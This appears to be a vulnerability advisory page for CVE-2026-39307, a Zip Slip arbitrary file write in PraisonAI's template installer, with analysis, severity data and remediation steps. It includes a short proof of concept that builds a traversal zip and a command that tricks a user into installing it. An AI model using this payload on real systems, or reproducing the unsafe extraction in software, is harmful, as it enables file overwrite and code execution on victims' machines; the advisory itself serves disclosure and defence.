Python
CVE-2026-39307
HIGH
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Lifecycle Timeline
5DescriptionGitHub Advisory
The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory.
Details
Location: src/praisonai/praisonai/cli/features/templates.py (Line 852)
Vulnerable Code snippet:
zip_ref.extractall(tmpdir)During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using zip_ref.extractall(tmpdir). A specially crafted ZIP archive can contain file entries with relative paths (such as ../../../../tmp/evil.sh). If extracting this archive in older Python versions or environments where extraction rules aren't strict, extractall will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.
PoC
- Generate a malicious zip payload:
import zipfile
with zipfile.ZipFile('malicious_template.zip', 'w') as z:
# Adding a file that traverses directories
z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')- Trick a user into installing the malicious template:
praisonai templates install github:attacker/malicious_template- Observe the
zip_slip_pwned.txtfile created in/tmp/on the victim's machine.
Impact
This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).
AnalysisAI
Arbitrary file write in PraisonAI's template installation feature allows remote attackers to overwrite system files when users install malicious templates via social engineering. The vulnerability stems from unsafe ZIP extraction in templates.py using Python's zipfile.extractall() without path validation, enabling classic Zip Slip attacks. Public exploit code exists with proof-of-concept demonstrating /tmp file creation via path traversal. EPSS probability is low (0.04%, 13th percentile) indicating limited observed exploitation attempts, though the attack requires only user interaction (CVSS UI:R) to achieve high integrity and availability impact. Vendor patch released in version 4.5.113 per GitHub advisory GHSA-4ph2-f6pf-79wv.
Technical ContextAI
This vulnerability exploits CWE-23 (Relative Path Traversal) through Python's zipfile.extractall() method in the PraisonAI CLI templates installation feature. The affected code (templates.py line 852) downloads template archives from external sources like GitHub and extracts them using extractall(tmpdir) without sanitizing or validating archive member paths. The zipfile library, particularly in older Python versions or permissive extraction modes, does not inherently prevent path traversal sequences like '../../../' in ZIP entry names. When extractall() processes such entries, it writes files relative to the extraction directory, allowing malicious archives to escape the intended tmpdir boundary. The pkg:pip/praisonai package implements a community template sharing system where users can install templates from arbitrary GitHub repositories using commands like 'praisonai templates install github:user/repo'. This design creates a supply chain attack surface where attackers can host malicious templates containing crafted ZIP archives with traversal paths, relying on victim trust in community resources.
RemediationAI
Upgrade to PraisonAI version 4.5.113 or later, released by the vendor to address this Zip Slip vulnerability (release notes: https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.113). Installation via pip: 'pip install --upgrade praisonai>=4.5.113'. If immediate upgrade is not feasible, implement these compensating controls: (1) Disable or restrict template installation functionality by removing execute permissions on the templates CLI module or blocking network access to template repositories at the firewall level - trade-off is loss of template sharing features but eliminates attack vector entirely. (2) Run PraisonAI in containerized environments (Docker, Podman) with read-only root filesystem and write access limited to specific mount points - limits impact of file overwrites to container scope but adds operational complexity for persistent storage. (3) Implement organizational policy prohibiting installation of templates from untrusted sources, allowing only vetted internal template repositories - reduces risk but relies on user compliance and doesn't prevent insider threats. (4) Use filesystem monitoring (auditd, OSSEC) to alert on unexpected file modifications outside PraisonAI's designated directories - provides detection but not prevention, requiring incident response capability. Each workaround has operational overhead; vendor patch remains the definitive solution. Advisory details and patch verification at https://github.com/advisories/GHSA-4ph2-f6pf-79wv.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-23 – Relative Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-4ph2-f6pf-79wv